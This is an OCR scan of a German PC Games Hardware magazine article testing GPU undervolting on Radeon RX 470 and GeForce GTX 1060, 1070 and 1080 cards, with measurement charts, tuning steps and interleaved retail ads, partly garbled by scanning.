bietet, sondern der Vernunft folgt. 
Zumindest der Speicher wurde von 
3.300 auf 3.500 MHz übertaktet. 
Die Testkarte ist eine XFX RS Black 
Edition, welche wir in der vorheri- 
gen Ausgabe auf Seite 26 ff. testen. 


Powerlimit hat das Sagen 

Die XFX-Karte arbeitet werkseitig 
mit einem GPU-Powerlimit von 92 
Watt, 18 Watt weniger als bei der 
RX-480-Referenzkarte. Die Küh- 
lung ist auf 70 °C Maximaltempe- 
ratur getrimmt und somit kein 
Bremsfaktor - die GPU-TDP schon: 
Sie gibt über die komplette Wit- 
cher-Messung den Ton an, der Chip 
ist permanent damit beschäftigt, 
sich im Rahmen seines Budgets zu 


drosseln. Anfangs bei circa 1.135 
MHz, fällt der Boost mit steigender 
Erwärmung auf rund 1.120 MHz 
und verharrt dort über die restli- 
che Lastdauer. Der mittlere Boost 
beträgt 1.124 MHz und der theo- 
retische Maximalwert von 1.255 
MHz wird außerhalb von Niedrig- 
lastphasen im Menü nie erreicht. 
Wir haben es also, wie bei der RX- 
480-Referenzkarte, mit einem stark 
powerlimitierten Modell zu tun, 
das als solches sehr empfänglich 
für Undervolting ist. Im Wattman 
stoßen wir auf eine unintuitive 
Takt-Spannungs-Kurve, welche im 
P6-State satte 1,175 und im P7-State 
1,150 Volt vorsieht. Wir senken bei- 
de Werte und die der dahinterlie- 
genden Modi (siehe Bild rechts) so- 
wie die RAM-Controllerspannung 
von 1,000 auf 0,875 Volt. Nach dem 
Eingriff ist die Karte vorwiegend 
im P6-Status unterwegs, der nun 
mit 1,025 anstelle von 1,175 Volt an- 
gesteuert wird. Das führt zu einem 
um 7,8 % erhöhten Boost und einer 
um 7,5 % höheren Bildrate - bei 
identischem Verbrauch Knapp un- 
ter 150 Watt. 


AMD KAOEON Е 


INSTELLUNGEN 


< QD Globale Einstellungen 


Frequency (МН) 


Spannungsregekng (mV) a 


Memory 


С 


RX 470 optimiert: Wir senken die Spannungen der іп Spielen aktiven States 5, 6 und 7 
um 100 bis 125 Millivolt, sodass die GPU bei unveränderter TDP höher boostet. 


7,5 Prozent höhere Fps nur durch Undervolting 


The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest” 


110 
£ 15 
TDP und Boost im 20-Minuten-Verlauf B in 
a 
= 
The Witcher 3, 2.560 х 1.440, max. Det. außer Gameworks – „Skellige Forest” Ze 95 “чу 
100 1250 S 
99 A D i 1225 3 90 
98 “N d AN | ; 1.200 5 5 
> GPU-Spannung Bi RAM-Ctrir.-Spannung В Leistungsaufnahme E Fps 
97 Boost Standard (MHz) Bi Boost undervoltet (MHz) | 1.175 80 
96 1.150 Standard Undervolted Undervolt. & untertaktet 
E H ~1.124/3.500 MHz ~1.212/3.500 MHz 1.200/3.500 MHz 
z 95 1.125 = 1,15/1,0V GPU/RAM 1,05/0,875V GPU/RAM 1,00/0,875V GPU/RAM 
94 1.100 270 Watt 270 Watt 264 Watt 
GPU-TDP Standard (Watt) II GPU-TDP undervolted (Watt) cj 2920 1 Fps ZS 21283168 
93 | L 11075 Prot 100% 913% 87,0% 
92 Mau adl шн laakalu AA A 1.050 RAN Cik 
100 % 87,5 % 87,5 % 
91 1.025 r.-Spannung 
T a WI rn | Leistungs- 
90 ТП m i 1.000 aufnahme 00у 100% wu 
0 200 400 Е 600 800 1.000 1.200 Fps — 1075 % 106,0 95 
Zeit in Sekunden 
System: XFX RX 470 RS Black Edition/4G, Core i7-6800K 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 System: XFX RX 470 RS Black Edition/4G, Core i7-6800K 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 
x64; RSC Relive 16.12.1 WHQL (HQ) Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 x64; RSC Relive 16.12.1 WHQL (HQ) Bemerkungen: Das Spiel läuft 20 Minuten (Aufheiz-/Stabilitätstest); die 
Millisekunden. Geringere Spannung führt dazu, dass die GPU bei gleichem Verbrauch schneller rechnet. Werte sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


MÀ 
eme " 
| 


ID uus 


POWER. 


PERFORMANCE. 


PRIME. 


850 W / 750 W / 650 W 


HE 
RSTELLERGARANTIE TITANIUM 


“ERHÄLTLICH AB MITTE JUL 


K&M d digitec.ch p gMindtactory.a 


GRAFIKKARTEN | GPU-Undervolting 


Geforce GTX 1060: Typisches Custom-Design 


2 GHz inklusive Stromersparnis möglich 
The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest” 
110 
РЯ 
s 105 
N 
Ё 10 
= 
o 95 
Ë 
E 
Ф 90 
© 
E 
T 85 
>. $5 ш GPU-Spannung Ш Leistungsaufnahme M Fps 
Standard Undervolted Undervolt. & ÜBERtaktet 
-1.873/4.007 MHz 1.860/4.007 MHz 2.000/4.007 MHz 
0,975 Volt 0,843 Volt 0,912 Volt 
263 Watt 236 Watt 251 Watt 
29/32,9 Fps 29/32,7 Fps 30/34,3 Fps 
GPU- 
Spannung 100 % 86,5 96 93,5 96 
Leistungs- 
aufnahme 100 % 89,7% 95,4 % 

Fps 100 % 99,9 95 104,3 96 
System: Zotac GTX 1060 AMP-Edition/6G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 
10 x64; Geforce 376.33 WHQL (HQ) Bemerkungen: Das Spiel läuft 20 Minuten (Aufheiz-/Stabilitätstest); die 
Werte sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


ie 6-GiByte-Variante der Ge- 

force GTX 1060 bietet ein 
vergleichbar gutes Preis-Leistungs- 
Verhältnis wie AMDs Radeon RX 
480/8G. Während die AMD-Karte 
unter anderem mit ihrem Speicher- 
polster punktet, erntet die GTX 
1060 wegen ihrer geringen Leis- 
tungsaufnahme Lob. Diese ist per 
Nvidia-Definition bei 120 Watt ab- 
geriegelt - für die gesamte Grafik- 
karte, im Unterschied zur GPU-TDP 
bei AMD. Unsere Testkarte aus dem 
Hause Zotac, eine GTX 1060 AMP- 
Edition, folgt dieser Verbrauchs- 
vorgabe und setzt ihre werkseitige 
Übertaktung dennoch um. 


Sparsam ist nicht genug 

Unser Proband stellt The Witcher 
3 in den ersten Sekunden mit rund 
1.900 MHz und 1,025 Volt Kern- 
spannung dar, fällt nach einigen 
Minuten jedoch auf die Boost-Stufe 
1.873 MHz bei 0,975 Volt und ver- 
harrt dort weitgehend. Die Ener- 
gieeffizienz kann sich sehen lassen: 
Obwohl die Karte genauso flink 
wie die MSI RX 480 Gaming X ren- 
dert, verbraucht der Rechner nur 
263 anstelle von 323 Watt (-19 %). 
Die Belüftung erreicht dabei ma- 
ximal 1.450 Umdrehungen pro Mi- 
nute (< 1,0 Sone) und unterstreicht 
somit die Messwerte der Karte im 
Test der PCGH 09/2016. Typisch 
für moderne Geforce-Grafikkarten 
ist die Power-Auslastung: Die Steu- 
erung versucht, das Watt-/Ampere- 


Limit zu jeder Zeit auszureizen. Im 
Verlauf unten sind die Auswirkun- 
gen zu sehen: Die GPU „knallt“ an 
die Wattmauer, drosselt sich und 
das Spiel wiederholt sich fortwäh- 
rend - schneller, als wir das im Pro- 
tokoll erfassen können. 


Wie eingangs erwähnt, führt bei 
einer Pascal-GPU der Curve Editor 
des MSI Afterburner zum Under- 
volting-Erfolg, den Sie im Haupt- 
fenster durch die Tastenkombina- 
tion Strg+F öffnen. Wir verzichten 
auf Feintuning der Kurve, statt- 
dessen legen wir eine spezifische 
Takt-Spannung-Kombination fest. 
Möchten Sie das ebenfalls tun, soll- 
ten Sie zunächst in Erfahrung brin- 
gen, welche Werte Ihre Grafikkarte 
automatisch setzt. Nun suchen Sie 
sich auf der X-Achse eine geringere 
Spannung aus (z. B. 900 mV), kli- 
cken den Datenpunkt darüber an 
und halten die linke Maustaste. Be- 
vor Sie den Zeiger nach oben schie- 
ben, halten Sie zusätzlich die Shift- 
Taste, woraufhin die komplette 
Kurve mitgezogen wird. Lassen Sie 
die Maustaste nun beim Wunsch- 
takt los, beispielsweise bei 1.800 
MHz. Abschließend das Wichtigste: 
Drücken Sie die L-Taste und bestä- 
tigen Sie alles mit einem Klick auf 
das Haken-Symbol. Der gewählte 
Boost wird fortan als Maximalwert 
verwendet. Die Auswirkungen des 
Undervoltings sind deutlich, wie 
die Grafiken zeigen. 


Powerlimit (TDP) und Boost im 20-Minuten-Verlauf 
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Ausfüllung des Powerlimits in % 


The Witcher 3, 2.560 x 1.440, maximale Details außer Gameworks (HBAO--/Hairworks) — 


„Skellige Forest" 
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Zeit in Sekunden 


System: Zotac Geforce GTX 1060 AMP-Edition/6G, Core i7-6800K (6C/12T) @ 4,4 GHz (L3-Cache/Ring: 3,6 GHz), MSI X99 Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T), Windows 10 x64; Geforce 376.33 WHQL (HQ) 
Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 Millisekunden. Die linke Y-Achse zeigt das Powerlimit: 96 % erreicht die Karte im Mittel, der Stromfluss ist ergo der Limitfaktor. Das Undervolting senkt den Wert auf 
circa 75 % — das entspricht rund 90 Watt für die ganze Karte! Die rechte Y-Achse zeigt, dass das Undervolting den Takt stabilisiert und zu deutlich geringerer Lüfterdrehzahl bei automatischer Regelung führt. 
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Hardware 


Offizielles PCGH-Produkt 


Alle PCGH-PCs 
im Uberblick 


Die offiziellen PCGH-PCs werden von den Redakteuren 


der PC Games Hardware konfiguriert. 


PCGH-Starter-PC 


PCGH-Allround-PC 


Hersteller/Bezugsquelle 


RX480-Edition 
Alternate (www.pcgh.de/alternate) 


GTX1060-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


GTX1070-Edition 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/starter-pc 


www.pcgh.de/allround-pc 


www.pcgh.de/gaming1070-pc 


www.pcgh.de/highend-pc 


Prozessor Intel Core 15-6500 Intel Core i5-6500 Intel Core 15-6600 Intel Core i5-6600K 
Grafikkarte MSI Radeon RX 480 Gaming X 8G MSI GTX 1060 Gaming X (6 GB) Geforce GTX 1070 Geforce GTX 1070 (OC-Version) 
Mainboard Asrock B150M-HDS Asus B150-Plus Asus B150 Pro Gaming Asus Z170-P 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300) 


240-GB-SSD (Crucial BX200) 


250-GB-SSD (Crucial MX200/MX300) 


525-GB-SSD (Crucial MX300) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


Speicher 16 GB DDR4-2133 (Crucial) 16 GB DDR4-2133 (Crucial) 16 GB DDR4-2666@2133 (HyperX) 16 GB DDR4-2666@2133 (HyperX) 
Netzteil Cooler Master B500 Rev. 2 Cooler Master B500 Rev. 2 Cooler Master B500 Rev. 2 Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler Scythe Katana 4 Scythe Katana 4 Scythe Mugen 4 PCGH-Edition EKL Brocken 2 PCGH-Edition 
Gehäuse Sharkoon MA-M1000 Cooler Master Force 500 Corsair Carbide 200R Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 


2 x Lüfter 


1 x Lüfter, WLAN-Karte EW-7822PIC 


2 x Lüfter, WLAN-Karte EW-7822PIC 


3 x Lüfter, WLAN-Karte EW-7822PIC 


Lautstárke 2D (0,5 m) 1,5 Sone/32 dB(A) 0,5 Sone/24 dB(A) 0,4 Sone/22 dB(A) 0,3 Sone/21 dB(A) 

Lautstárke 3D (0,5 m) 2,3 Sone/36 dB(A) 1,1 Sone/30 dB(A) 1,4 Sone/31 dB(A) 1,0 Sone/29 dB(A) 

Leistungsaufnahme 2D/3D 42 Watt/263 Watt 33 Watt/182 Watt 42 Watt/234 Watt 36 Watt/235 Watt 

3D Mark (Fire Strike) 2.899 (U), 5.304 (E), 10.169 (5) 2.942 (U), 5.531 (E), 10.070 (S) 4.112 (0), 7.469 (E), 13.462 (5) 4.338 (U), 7.798 (E), 13.902 (S) 

BF1/Crysis 3/The Witcher 3 n. v./53 Fps/44 Fps 74/57 Fps/44 Fps n. v./76 Fps/63 Fps n. v./78 Fps/67 Fps 

Cinebench R11.5 x64 (CPU) 6,40 Punkte 6,34 Punkte 6,89 Punkte 6,96 Punkte 
PREIS " * à а 

WEE €1.049, € 1.149, €1.479, €1.679, 
PREIS €1.149,- €1.249,- €1.579,- €1.769,- 
mit 64-Bit-Betriebssystem* (inkl. Windows 10 Home) (inkl. Windows 10 Home) (inkl. Windows 10 Home) (inkl. Windows 10 Home) 


Hersteller/Bezugsquelle 


PCGH-Enthusiast-PC 
GTX1070-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Extreme-PC 
GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Ultimate-PC 
GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Epic-PC 
GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/enthusiast-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate-pc 


www.pcgh.de/epic-pc 


Prozessor Intel Core i7-6700K Intel Core i7-6700K Intel Core 17-6800К Intel Core 17-6800К 
Grafikkarte Geforce GTX 1070 Geforce GTX 1080 Geforce GTX 1080 (OC-Version) Asus GTX 1080 Strix Advanced 
Mainboard Asus Z170 Pro Gaming Asus Z170 Pro Gaming Asus Strix X99 Gaming Asus Strix X99 Gaming 


SSD-Laufwerk 


500-GB-SSD (Crucial MX200/MX300) 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


512 GB M.2 + 1 TB (Samsung/Crucial) 


HDD-Laufwerk 


3.000-GB-HDD (Toshiba DTO1ACA300) 


3.000-GB-HDD (WD Red) 


3.000-GB-HDD (Toshiba DTO1ACA300) 


Speicher 


16 GB DDR4-2666@2133 (HyperX) 


16 GB DDR4-2666@2133 (HyperX) 


32 GB DDR4-2666@2400 (HyperX) 


32 GB DDR4-2400 (Crucial) 


Netzteil 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


CPU-Kühler 


Scythe Mugen 4 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


Gehäuse 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Laufwerk/Soundkarte 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 


3 x Lüfter, WLAN-Karte EW-7822PIC 


3 x Lüfter, WLAN-Karte EW-7822PIC 


3 x Fractal-Lüfter, WLAN onboard 


3 x Fractal-Lüfter, WLAN onboard 


Lautstárke 2D (0,5 m) 0,3 Sone/21 dB(A) 0,3 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 

Lautstárke 3D (0,5 m) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 

Leistungsaufnahme 2D/3D 43 Watt/237 Watt 43 Watt/277 Watt 60 Watt/303 Watt 69 Watt/309 Watt 

3D Mark (Fire Strike) 4.166 (U), 7.919 (B), 15.021 (S) 4.961 (U), 9.443 (B), 17.242 (S) 5.409 (U), 10.105 (E), 18.047 (S) 5.350 (U), 10.025 (B), 17.747 (S) 

BF1/Crysis 3/The Witcher 3 n. v./76 Fps/63 Fps n. v./94 Fps/80 Fps 86 Fps/100 Fps/83 Fps 86 Fps/100 Fps/83 Fps 

Cinebench R11.5 x64 (CPU) 9,76 Punkte 9,75 Punkte 12,00 Punkte 12,04 Punkte 
PREIS 

en €1.899,- €2.199,- €2.679,- €2.879,- 
PREIS €1.999,- €2.299,- €2.779,- €2.979,- 
mit 64-Bit-Betriebssystem" (inkl. Windows 10 Home) (inkl. Windows 10 Home) (inkl. Windows 10 Home) (inkl. Windows 10 Home) 


PC ist sofort einsatzbereit. 


FAQ: Wie installiere ich Windows selbst? Eine Video-Anleitung, wie Sie die Windows-Version Ihrer Wahl ganz einfach selbst installieren, finden Sie unter www.pcgh.de/windows. 


* Preiserfassung und Produktdaten vom 13.12.2016, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 


GRAFIKKARTEN | GPU-Undervolting 


Geforce GTX 1070: Typisches Custom-Design 


33 Watt und einige Lüfterumdrehungen gespart 


The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest" 
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E 85 ш GPU-Spannung IB Leistungsaufnahme Mi Fps 
80 
Standard Undervolted Undervolt. & ÜBERtaktet 
-1.949/4.007 MHz 1.949/4.007 MHz 2.000/4.007 MHz 
-1,000 Volt 0,900 Volt 0,931 Volt 
313 Watt 280 Watt 293 Watt 
47150,3 Fps 47150,2 Fps 48/50,7 Fps 
GPU- 
Spannung 100 % 90,0 96 93,1 96 
Leistungs- 
aufnahme 100 % 89,5 % 93,6 % 
Fps 100 % 99,8 % 100,8 % 


System: Asus GTX 1070 Strix OC/8G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 x64; 
Geforce 376.33 WHQL (HQ) Bemerkungen: Das Spiel láuft 20 Minuten (Aufheiz-/Stabilitátstest); die Werte 
sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


vidias Geforce GTX 1070 ist 

der Preis-Leistungs-Tipp für 
anspruchsvolle Spieler. Die effizi- 
ente High-End-Grafikkarte ist in 
zahlreichen Farben und Formen er- 
hältlich. Wie bei der GTX 1060 und 
der auf der nächsten Seite zu se- 
henden GTX 1080 entscheiden wir 
uns auch hier für ein Design, das 
unserer Definition von ,typisch* 
am nächsten kommt: Asus’ Strix- 
Version wartet mit einer leichten 
Übertaktung sowie einem um zehn 
Prozent erhöhten Powerlimit auf - 
165 anstelle von 150 Watt. Damit 
liegt sie im unteren Mittelfeld der 
erhältlichen Karten, welche teil- 
weise über 200 Watt TDP zulassen. 


Effizienzwunder GP104 

Die Energieeffizienz einer derart 
spezifizierten Geforce GTX 1070 
kann sich bereits ohne manuelles 
Tuning sehen lassen. Unser Test- 
rechner benötigt etwas weniger 
Energie als mit der MSI Gaming 
X und erzielt dennoch rund 50 
Prozent höhere Bildraten in The 
Witcher 3. Wie bei Geforce-Grafik- 
karten seit der Kepler-Architektur 
üblich, setzt die auch die GTX 
1070 Strix zu Spielbeginn höhere 
Boost- und Spannungswerte, als sie 
bei andauernder Belastung halten 
kann. Nach einigen Minuten unter 
WOHD-Volllast pendelt sich unser 
Proband bei 1.949 MHz und rund 
1,000 Volt Kernspannung ein. Das 
Powerlimit wird, wie bei den an- 


deren Pascal-Karten auch, bis zum 
Rand ausgereizt. Die automatische 
Steuerung treibt die Lüfter auf bis 
zu 1.520 Umdrehungen pro Minu- 
te, was einer Lautheit von knapp 
1,8 Sone entspricht (siehe PCGH 
08/2016). Soweit, so gut. 


Auf dem Weg zum Optimum 
Auch diesmal führen wir alle Span- 
nungsänderungen mithilfe des 
MSIschen Kurveneditors durch. 
Die Ausgangsbasis bilden die von 
der Grafikkarte automatisch ge- 
setzten Werte. Nachdem unser ers- 
ter, zu optimistischer Wunsch von 
0,850 Volt bei 1.949 MHz sofort mit 
einem Absturz endet, landen wir 
schließlich bei der Kombination 
aus demselben Takt mit 0,9 Volt 
Kernspannung - 0,1 Volt weniger, 
als die Karte sich selbst zutraut. Die 
Maßnahme wirkt sich subjektiv ge- 
ring auf die ohnehin gute Lautheit 
aus (die maximale Lüfterdrehzahl 
sinkt auf 1.370 U/Min.), schlägt 
sich aber umso deutlicher beim 
Verbrauch nieder: Bei gleicher 
Leistung benögt der PC nur noch 
280 anstelle von 313 Watt. Das Po- 
werlimit der Karte wird dabei nur 
zu rund 79 Prozent ausgereizt - das 
entspricht einer Leistungsaufnah- 
me von beeindruckend geringen 
130 Watt. Das Potenzial ist sogar 
groß genug, um eine Übertaktung 
auf psychologisch wertvolle 2 GHz 
mit Unterspannung zu kombinie- 
ren. 
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Ausfüllung des Powerlimits in % 
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Powerlimit (TDP) und Boost im 20-Minuten-Verlauf 
The Witcher 3, 2.560 x 1.440, maximale Details außer Gameworks (HBAO+/Hairworks) - „Skellige Forest" 
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Zeit in Sekunden 
System: Asus Geforce GTX 1070 Strix OC/8G, Core i7-6800K (6C/12T) @ 4,4 GHz (L3-Cache/Ring: 3,6 GHz), MSI X99 Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T), Windows 10 x64; Geforce 376.33 WHQL (HQ) 
Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 Millisekunden. Die linke Y-Achse zeigt das Powerlimit: Mit Standardspannung kracht die Karte ständig an die 100-Prozent-Grenze, im Mittel wird es zu 98 Prozent 
ausgereizt. Mit gesenkter Spannung und fixiertem Takt sinkt der Wert auf 79 Prozent — und dementsprechend auch die Leistungsaufnahme und automatisch gesetzte Lüfterdrehzahl (rechte Y-Achse). 
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GPU-Undervolting | GRAFIKKARTEN 


Geforce GTX 1080: Typisches Custom-Design 


olgt man einer aktuellen Umfra- 
Е: im PCGH-Forum, verbreitet 
sich Nvidias Geforce GTX 1080 trotz 
ihres hohen Preises unter unseren 
Lesern. Auch Sie können unter 
www.pcgh.de/gpu-umfrage abstim- 
men - selbstverständlich mit jeder 
Grafikkarte -, Voraussetzung ist le- 
diglich ein Forumsaccount. 


Für den Undervolting-Test haben 
wir die Gigabyte GTX 1080 G1 Ga- 
ming auserkoren, da sie einerseits 
nur moderat übertaktet ist und 
andererseits über eine relativ laute 
Belüftung verfügt, welche, so die 
Idee, mithilfe eines geringeren Ver- 
brauchs gedrosselt werden kann. 
Die maximale Leistungsaufnahme 
betrágt 200 Watt (Nvidia Founder's 
Edition: 180 Watt). 


Ab Werk nicht optimal 

Wie zuvor lassen wir auch die GTX 
1080 G1 Gaming im ersten Test un- 
gezügelt laufen. Die Startfrequenz 
unseres Musters betrágt 1.911 MHz, 
fällt jedoch nach wenigen Sekun- 
den auf 1.886 bis 1.860 MHz und 
pendelt sich schliefslich bei 1.873 
MHz mit 0,995 Volt Kernspannung 
ein. Das bei 200 Watt festgelegte 
wird Pascal-typisch 
ausgereizt, sodass der gesamte 
Rechner im Mittel 353 Watt aus 
der Steckdose zieht. Dieser Wert 
passt gut zur Asus GTX 1070 Strix, 
welche bei 35 Watt geringerer TDP 
auf 313 Watt kommt; die Differenz 


Powerlimit 


lässt sich durch die höhere Prozes- 
sorauslastung bei der GTX 1080 er- 
klären. Die Lüfterdrehzahl der G1 
Gaming steigt auf maximal 1.990 
Mal pro Minute, was in einem klar 
wahrnehmbaren Surren resultiert. 


Ein letztes Mal bemühen wir den 
MSI Afterburner, um auch die GTX 
1080 mithilfe des Kurveneditors 
größere Sparsamkeit zu lehren. Er- 
neut sei darauf hingewiesen, dass 
Sie nur erfolgreich undervolten 
können, wenn Sie zuvor ermittelt 
haben, welche Taktraten und Span- 
nungen Ihr Exemplar automatisch 
einstellt. Unser Sample verkraftet 
seinen Standardboost knapp un- 
terhalb von 1.900 noch mit 0,893 
Volt Kernspannung - rund 0,1 Volt 
weniger als ab Werk. Infolgedessen 
ist das Powerlimit kein Limitfaktor 
mehr, es wird im Mittel nur noch zu 
81 Prozent ausgelotet, was auf stark 
gesenkte Ströme schließen lässt. 
Das registriert auch die Lüftersteu- 
erung, welche die drei Propeller 
nur noch 1.900 Mal pro Minute dre- 
hen lässt. Die Leistungsaufnahme 
des kompletten PCs sinkt im Mittel 
auf 324 Watt (-8,5 %); das ist etwas 
mehr als mit der Asus GTX 1070 
Strix OC im unübertakteten Zu- 
stand. Die Idee, einen Kerntakt von 
2 GHz mit reduzierter Leistungs- 
aufnahme zu erreichen, scheitert 
an Letzterer: Zwar sind 2.000 MHz 
mit 0,975 Volt möglich, dann je- 
doch bei rund 355 Watt. (ru) 
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Undervolting bringt 29 Watt Егѕрагпіѕ 


The Witcher 3, 2.560 x 1.440, max. Det. auBer Gameworks — 


„Skellige Forest" 
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> 
80 
Standard Undervolted Undervolt. & ÜBERtaktet 
—1.870/5.006 MHz 1.886/5.006 MHz 1.949/5.006 MHz 
-0,995 Volt 0,893 Volt 0,950 Volt 
353 Watt 324 Watt 345 Watt 
58/61,6 Fps 58/61,7 Fps 59/63,0 Fps 
GPU- 
Spannung 100 % 89,7% 95,5 96 
Leistungs- 
SP 100% 91,8% 97,3% 
Fps 100 % 100,2 % 102,3 % 
System: Gigabyte GTX 1080 G1 Gaming/8G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 


10 x64; Geforce 376.33 WHQL (HQ) Bemerkungen: Das Spiel läuft 20 Minuten (Aufheiz-/Stabilitätstest); die 
Werte sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


Powerlimit (TDP) und Boost im 20-Minuten-Verlauf 
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The Witcher 3, 2.560 x 1.440, maximale Details außer Gameworks (HBAO--/Hairworks) — 


„Skellige Forest" 


Zeit in Sekunden 
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und festem Kerntakt (rechte Y-Achse) sinkt der Wert von im Mittel 99 Prozent (— 


System: Gigabyte Geforce GTX 1080 G1 Gaming/8G, Core i7-6800K (6C/12T) @ 4,4 GHz (L3-Cache/Ring: 3,6 GHz), MSI X99 Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T), Windows 10 x64; Geforce 376.33 WHQL (HQ) 
Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 Millisekunden. Die linke Y-Achse zeigt das Powerlimit, welches mit Standardspannung voll ausgereizt wird, also den Limitfaktor darstellt. Mit reduzierter Spannung 
198 Watt) auf 81 Prozent (-162 Watt). In der Folge wird die Karte bei gleicher Temperatur hörbar leiser. 
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professionelle gaming produkte für hardcore gamer RX 
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Grafikkarte für die bestmógliche Gaming-Erfahrung 
AMD Radeon RX 480 - 1338 MHz Chiptakt 
8 GB GDDR5-RAM (8,0 GHz) - 2304 Shadereinheiten 


DirectX 12 und OpenGL 4.5 
3x DisplayPort, 1x HDMI, 1x DVI - PCle 3.0 x16 


JFXX0D02 
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PLUS’ 
BRONZE 


Netzteil mit 850 Watt Dauerleistung 


Effizienz bis zu 85% 
16x Laufwerksanschlüsse - 2x PCle-Stromanschlüsse 


Geräuschlose Kühlung - Gaming ohne Störung! 


Grafikkartenlüfter mit roter LED-Beleuchtung 
AMD Radeon RX 460 - 1220 MHz Chiptakt 


Hot-Swap: Im Betrieb wechselbar 

kompatibel zur XFX RX 480/470 RS und GTR Serie 4 GB GDDR5-RAM (7,0 GHz) - 896 Shadereinheiten 

werkzeuglose Montage DirectX 12 und OpenGL 4.5 Kabel-Management - 1x 135-mm-Lüfter 
1x DisplayPort, 1x HDMI, 1x DVI - PCle 3.0 x16 ATX12V 2.2, ATX 2.03, EPS, EPS12V 2.91 


JZZX20 JEXX0D06 TN8VX4 


dig) DEUTSC 
Җа Pes 


Fon: 06403-905040 | info@alternate.de 


ALTERNATE GmbH  Philipp-Reis-Straße 2-3 | 35440 Linden 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 = 90 50 40 


Hardware | PC, Notebo« 
y PREDATOR 


dei) Software | Gaming 
| 


— G Ve б 4 9) 
Curved-LED-Monitor • 1.920х1.080 Pixel 

69 ст (27") Bilddiagonale • 4 ms Reaktionszeit 
Kontrast: 100.000.000:1 (dynamisch) • 144 Hz 


Helligkeit: 300 cd/m? • Energieeffizienzklasse: В 
1x HDMI, 1x DisplayPort, Audio 


LED-Monitor • 60,5 cm (23,8") Bilddiagonale 
2.560x1.440 Pixel • 1 ms Reaktionszeit 
Kontrast: 1.000:1 • Helligkeit: 350 cd/m? 

bis zu 165 Hz » Energieeffizienzklasse: C 
HDMI, DisplayPort, 4x USB 3.0 


V5LM76 


GIGABYTE" 


V6LA0039 


" $3131. 32 ` 
33323 der 


Gaming PC • Intel® Core™ i7-6700K (4 GHz) 
NVIDIA® GeForce® GTX 1070 

16 GB DDR4-RAM • 128-GB-SSD, 2.000-GB-HDD 
DVD-Brenner ° Gigabit-LAN « WLAN 
Windows®10 Home 64-Bit (OEM) 


Kailh-Red-Schalter 
N-Key Rollover (NKRO) 
Beleuchtung mit 16,8 Mio. Farben 


USB 2.0 
S6IH24 NTZG73 
b: } 
#1 BACKUP HUAWEI 
SOFTWARE 
эд 22 5 
513636 " 
-— TJ Ч ә J> ke 
Datensicherung • True Image 2017 1+1 Smartphone • 13,2-cm-Multitouch-Display 


Vollversion • Lizenz für 2 Benutzer 
Deutsch « Medium: CD-ROM oder DVD-ROM 
für Windows, MacOS X, iOS und Android 


Standards: 3G/UMTS, 4G/LTE, HSPA+ 
12.0-Megapixel-Dual-Kamera 

microSD-Slot (max. 128 GB) « WLAN b/g/n/ac 
Bluetooth 4.2 • micro-USB-Typ-C 


YVUO3M30 OCBCNA 


ZOTAC 


Grafikkarte « NVIDIA GeForce GTX 1080 

1771 MHz Chiptakt (Boost: 1911 MHz) 

8 GB GDDR5X-RAM (10,8 GHz) 

